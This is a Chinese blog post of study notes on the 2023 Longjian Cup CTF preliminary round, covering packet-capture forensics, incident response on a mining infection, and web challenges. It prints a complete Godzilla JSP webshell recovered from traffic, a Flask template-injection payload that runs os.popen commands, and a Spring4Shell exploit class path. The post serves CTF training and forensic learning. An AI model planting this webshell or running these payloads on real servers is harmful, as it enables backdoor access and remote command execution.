• 陇剑杯2023WriteUp学习笔记【初赛】



    由于太菜就跟着大佬的wp学习了一遍。
    经典之为什么在他们的电脑上可以,我的电脑上不行。

    数据分析

    1、hard_web

    hard_web原题下载

    hard_web_1

    题目内容:服务器开放了哪些端口,请按照端口大小顺序提交答案,并以英文逗号隔开(如服务器开放了 80 81 82 83 端口,则答案为 80,81,82,83)
    考点:哥斯拉流量
    也可看持续时间

    在这里插入图片描述
    可以看到网站里存在马
    代码如下

    Java
    <%! String xc="748007e861908c03"; 
    class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}%>
    
    • 1
    • 2
    • 3
    
    new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES")
    
    • 1
    • 2

    就是做了一个aes,把xc当key,读POST shell.jsp的数据,发现第24322的数据流执行了nmap,但是回显是没运行成功。

    (tcp.dstport == 61885) && (tcp.flags.syn == 1)
    
    • 1

    筛选得到只有 80,888,8888 符合条件
    在这里插入图片描述

    hard_web_2

    题目内容:服务器中根目录下的 flag 值是多少?

    tcp contains "flag"
    tcp.stream eq 20053
    
    • 1
    • 2

    在这里插入图片描述

    由 tcp 20046 得知该流中的 flag 是被 aes 加密过的,解密得 flag

    在这里插入图片描述

    hard_web_3

    题目内容:该 webshell 的连接密码是多少?

    tcp.stream eq 20046
    
    • 1

    追踪 http 流
    在这里插入图片描述
    在这里插入图片描述

    cmd5 解密得 14mk3y

    2、sevrer save

    sevrer save原题下载
    解压密码为 c77ad47ba4c85fae66f08ec12e0085dd
    考点:溯源取证

    sevrer save_1

    题目内容:黑客是使用什么漏洞来拿下 root 权限的。格式为:CVE-2020-114514
    在这里插入图片描述

    搜索 tcp 104 中的 title:Reznok's Hello World Spring Application

    发现指向 https://github.com/reznok/Spring4Shell-POC,可以看到 cve 编号为 CVE-2022-22965

    也可以搜索一下利用的类找到对应的CVE

    class.module.classLoader.resources.context.parent.pipeline.first.pattern
    
    
    • 1
    • 2

    sevrer save_2

    题目内容:黑客反弹 shell 的 ip 和端口是什么,格式为:10.0.0.1:4444

    黑客从服务器上下载了反弹shell的文件,然后执行
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    在这里插入图片描述

    sevrer save_3

    题目内容:黑客的病毒名称是什么?格式为:filename
    解压do,home下的可疑文件main
    在这里插入图片描述

    sevrer save_4

    题目内容:黑客的病毒运行后创建了什么用户?请将回答用户名与密码:username:password

    在这里插入图片描述

    比对一下 shadow 和 shadow-文件发现
    在这里插入图片描述

    也可上传微步等执行命令看进程

    sevrer save_5

    题目内容:服务器在被入侵时外网 ip 是多少? 格式为:10.10.0.1

    有访问ip-api.com的网络记录,释放了一个日志文件,可以先猜出这个日志文件里包含当前的外网IP。
    在这里插入图片描述

    在这里插入图片描述

    sevrer save_6

    题目内容:病毒运行后释放了什么文件?格式:文件 1,文件 2
    在这里插入图片描述
    在这里插入图片描述

    sevrer save_7

    题目内容:矿池地址是什么?格式:domain:1234

    根据释放的文件mine_doge.sh,见POOL
    在这里插入图片描述

    sevrer save_8

    题目内容:黑客的钱包地址是多少?格式:xx:xxxxxxxx

    见上一题的WALLET,钱包地址要删掉.lolMinerWorker

    3、Wireshark

    原题下载
    考点:telnet流量分析

    Wireshark1_1

    题目内容:被入侵主机的 IP 是?
    在这里插入图片描述
    流量里只有这两个 ip 在通信,很显然答案是 192.168.246.28

    Wireshark1_2

    题目内容:被入侵主机的口令是?
    在这里插入图片描述

    Wireshark1_3

    题目内容:用户目录下第二个文件夹的名称是?
    在这里插入图片描述

    Wireshark1_4

    题目内容:/etc/passwd 中倒数第二个用户的用户名是?
    在这里插入图片描述

    4、Incidentresponse

    题目内容:你是公司的一名安全运营工程师,今日接到外部监管部门通报,你公司网络出口存在请求挖矿域名的行为。需要立即整改。经过与网络组配合,你们定位到了请求挖矿域名的内网 IP 是 10.221.36.21。查询 CMDB 后得知该 IP 运行了公司的工时系统。(虚拟机账号密码为:root/IncidentResponsePasswd)(答案中如有空格均需去除,如有大写均需变为小写,使用 echo -n ‘strings’|md5sum|cut -d ’ ’ -f1 获取 md5 值作为答案)

    原题下载

    解压密码为 f0b1ba11478343f404666c355919de3f

    考点:溯源取证

    IncidentResponse_1

    题目内容:挖矿程序所在路径是?

    因为与挖矿相关,所以搜索了一下与WALLET有关的字段,发现在redis-server中出大量的wallet,疑似被修改,确定是redis-server该文件

    根据查看的进程信息可知,该程序发送数万条 udp 链接,结合之前的 redis 挖矿病毒猜测为该程序。
    在这里插入图片描述

    IncidentResponse_2

    题目内容:挖矿程序连接的矿池域名是?
    在这里插入图片描述

    该目录下的conf文件中存在矿池域名的配置

    IncidentResponse_3

    题目内容:攻击者入侵服务器的利用的方法是?
    系统登录日志中存在大量的admin用户,疑似通过网站的服务上马登录。

    查看 nohup 文件,多次出现 shiro 链,猜测是 shiro 反序列化。
    flag 是 shirodeserialization。

    在这里插入图片描述

    IncidentResponse_4

    题目内容:攻击者的 IP 是?

    历史命令里找到了几个可能的 ip 尝试发现为 81.70.166.3

    在这里插入图片描述

    从登录日志也可以发现IP。

    IncidentResponse_5

    题目内容:攻击者发起攻击时使用的 User-Agent 是?
    攻击者IP的最后一条访问时nginx日志里的User-Agent。

    查看/var/log/nginx/access.log

    在这里插入图片描述

    IncidentResponse_6

    题目内容:攻击者使用了两种权限维持手段,相应的配置文件路径是?

    常规手段:疑似保存authoriazed_keys的免密登录

    查看/root/.ssh/authorized_keys 里记录的用户是 root@kali
    在这里插入图片描述

    IncidentResponse_7

    题目内容:攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5 加密后以 b 开头)
    常规策略:开机启动
    结合上文恶意文件,看了很多,发现使用了 redis 的配置文件进行权限维持。
    /lib/systemd/system/redis.service

    在这里插入图片描述

    5、SmallSword

    原题下载

    考点:蚁剑流量分析

    SmallSword_1

    题目内容:连接蚁剑的正确密码是__?(答案示例:123asd)
    密码就是post时的key 6ea280898e404bfabd0ebb702327b19f。
    第 127 流就出现了使用 6ea280898e404bfabd0ebb702327b19f 传递代码,明显的蚁剑链接特征。
    在这里插入图片描述

    SmallSword_2

    题目内容:攻击者留存的值是__?(答案示例:d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)

    蚁剑没什么防护,直接base64解流量传输的数据即可
    对 tcp142 解密,flag 为YWQ2MjY5YjctM2NlMi00YWU4LWI5N2YtZjI1OTUxNWU3YTkxIA==对应的base64 值

    在这里插入图片描述

    在这里插入图片描述

    ad6269b7-3ce2-4ae8-b97f-f259515e7a91

    SmallSword_3

    题目内容:攻击者下载到的 flag 是__?(答案示例:flag3{uuid})

    将 tcp 130 中的 exe 提取出来(转为原始数据保存)
    在这里插入图片描述

    对提取出来得 exe 进行解包
    在这里插入图片描述

    发现 2.pyc 里边有图片数据

    保存得到
    在这里插入图片描述
    在这里插入图片描述

    流量里可以看到程序下载了huorong.exe
    放到微步,发现程序运行后会释放一张图片。

    6、ez_web

    原题下载

    ez_web_1

    题目内容:服务器自带的后门文件名是什么?(含文件后缀)

    从HTTP对象发现,它利用了自带的后门上传了d00r.php
    在这里插入图片描述

    发现该请求携带恶意代码确认为该文件。

    ez_web_2

    题目内容:服务器的内网 IP 是多少?

    导出http对象,发现他执行了ip的命令,确定内网地址

    第 10098TCP 流里的 http 里有执行命令 ifconfig
    在这里插入图片描述

    在这里插入图片描述

    ez_web_3

    题目内容:攻击者往服务器中写入的 key 是什么?

    在d00r命令执行中看到写入操作,发现是个解压密码7e03864b0db7e6f9,在流量末尾找到压缩包解密。
    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

    保存为 zip,下图为压缩包密码
    在这里插入图片描述

    7、Babyforensics

    原题下载
    解压密码为 4cf611fce4a2fec305e54c2766b7c860

    baby_forensics_1

    题目内容:磁盘中的 key 是多少?

    可以直接内存filescan,看到key.txt然后提取该文件,也可以使用取证大师等工具提取bitlocker的内存密钥,然后用相应工具解密。
    最后是rot47得到key

    baby_forensics_2

    题目内容:电脑中正在运行的计算器的远行结果是多少?
    这题,复现发现大佬的做法有两种。1.vol看windows 2.dump calc.exe的进程然后放入gimp。

    baby_forensics_3

    题目内容:该内存文件中存在的flag值是多少?
    U2开头加密标志去内存找,然后Rstudio在Music目录下找到密码,然后使用爆破工具,爆破。

    8、tcpdump

    原题下载

    tcpdump_1

    题目内容:攻击者通过暴力破解进入了某 Wiki 文档,请给出登录的用户名与密码,以:拼接,比如 admin:admin

    查看请求和返回流量,看返回包长度为 559 与其他的 237 不一致。确定为下图,找到请求包即可。
    在这里插入图片描述

    在这里插入图片描述

    tcpdump_2

    题目内容:攻击者发现软件存在越权漏洞,请给出攻击者越权使用的 cookie 的内容的 md5 值。(32 位小写)

    分析前后操作,发现在这儿开始往后进行越权操作
    在这里插入图片描述

    tcpdump_3

    题目内容:攻击使用 jdbc 漏洞读取了应用配置文件,给出配置中的数据库账号密码,以:拼接,比如 root:123456
    在这里插入图片描述

    tcpdump_4

    题目内容:攻击者又使用了 CVE 漏洞攻击应用,执行系统命令,请给出此 CVE 编号以及远程 EXP 的文件名,使用:拼接,比如 CVE-2020-19817:exp.so

    根据tcp 1604流中的xml的信息能发现weblogic
    搜索关键词,发现几个 cve,逐一与流量比对发现为 CVE-2022-21724
    在这里插入图片描述

    根据分析路径为下图中的 custom.dtd.xml

    在这里插入图片描述

    tcpdump_5

    题目内容:给出攻击者获取系统权限后,下载的工具的名称,比如 nmap
    在这里插入图片描述
    fscan

    9、Hacked

    原题下载

    hacked_1

    题目内容:admIn 用户的密码是什么?

    http 找 get /register 追踪 http 流看源码
    登录页面源码找到加密算法

    <script language="javascript">  
     crypt_key = 'l36DoqKUYQP0N7e1';
     crypt_iv = '131b0c8a7a6e072e';
     var key = CryptoJS.enc.Utf8.parse(crypt_key); 
     var iv = CryptoJS.enc.Utf8.parse(crypt_iv); 
     function Encrypt(word){
       srcs = CryptoJS.enc.Utf8.parse(word);
       var encrypted = CryptoJS.AES.encrypt(srcs, key, { iv: iv,mode:CryptoJS.mode.CBC,padding: CryptoJS.pad.Pkcs7});
       return encrypted.toString();
     }
     function print(){
       var a = Encrypt(myform.username.value);
       var b = Encrypt(myform.password.value);
     }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    在这里插入图片描述

    这个为 admIn 用户对应的一组用户名密码。

    import base64
    from Crypto.Cipher import AES
    iv=b'131b0c8a7a6e072e'
    key=b'l36DoqKUYQP0N7e1'
    def decrypt(s):
         return AES.new(key, AES.MODE_CBC, iv).decrypt(base64.b64decode(s))
    decrypt(b"KGM7NI0/WvKswK+PlmFIhO4gqe8jJzRdOi02GQ0wZoo=")
    # b'flag{WelC0m5_TO_H3re}\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b'
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    然后找解密即可

    flag{WelC0m5_TO_H3re}

    hacked_2

    题目内容:app.config[‘SECRET_KEY’]值为多少?

    搜索 SECRET_KEY 即可。
    在这里插入图片描述

    hacked_3

    题目内容:flask 网站由哪个用户启动?

    这题的漏洞点在flask的session注入
    tcp流76
    在这里插入图片描述

    Bash
    $python .\exp.py .eJwdx1EKwyAMANCrDEGiPz1Ar1KGZBi7gBpplH2Idy_d-3vTDKWrYiGzm2k5vZRUWeo2WsRObkLKeMKeuekoB4RwZvlg1hDg_S917lSeOhAFf0CTRvXp7ytYGPx2EUbnl7drWqqRk11m3cGmKw0.YpIQcw.J5vs8t8bAr0xDIxF6EqUAH2kkLE
    {'username': "{%if session.update({'flag':lipsum['__globals__']['__getitem__']('os')['popen']('whoami').read()})%}{%endif%}"}
    $ python .\exp.py .eJwdylsKAyEMQNGtFEGiUGYBs5VpkRQz04AvjNIPce-t_TyXO9QZ8FK7quQfSd1VF6oJI_3S0HzehEQ4p60Xj43MgPXDHrhIjwc4d4X8wiDOwfNPatwoLhrIAvaAkgulxc87Y2SwWyX0xk6r59CUPJ96qvkFHeUvmg.YpIQkg.65xf8l2g9fXAImkfyihId46KkY4
    {'flag': 'red\n', 'username': "{%if session.update({'flag':lipsum['__globals__']['__getitem__']('os')['popen']('whoami').read()})%}{%endif%}"}
    
    • 1
    • 2
    • 3
    • 4
    • 5

    密钥为 2 中的 SECRET_KEY
    在这里插入图片描述

    hacked_4

    题目内容:攻击者写入的内存马的路由名叫什么?(答案里不需要加/)
    在这里插入图片描述

    Index

    web

    10、fungame

    题目内容:近日,网管小李被通知说自己管理的网站存在漏洞,请你帮助小李找到存在漏洞的位置,并且将漏洞修复(敏感信息泄露也算哦)。修复漏洞后,等待一分钟左右,/flag 就会变为可读权限。可以借用 /index.php?r=debug/default/index 的 web 接口的 debug 进行分析。

    debug 发现请求了 diff 方法:
    在这里插入图片描述

    找到这个地方注释:
    在这里插入图片描述

    然后还有个 phpinfo:
    在这里插入图片描述

    最后一行有个 phpinfo,删掉以后就可以了。
    在这里插入图片描述

  • 相关阅读:
    外边距塌陷原因和解决方式
    MATLAB2016笔记(八):符号数学计算(MATLAB-Maple组件)
    流畅的python
    【Linux】32条指令带你玩转 Linux !
    今日头条文章采集ChatGPT3.5/4.0驱动浏览器改写文章软件说明文档
    Linux Debian下突然所有命令未找到,显示bash: xxxxx: command not found的解决办法
    离散卡尔曼滤波器算法详解及重要参数(Q、R、P)的讨论
    原生JS-鼠标拖动
    npm package.json
    Redis常用命令
  • 原文地址:https://blog.csdn.net/L120305q/article/details/132661357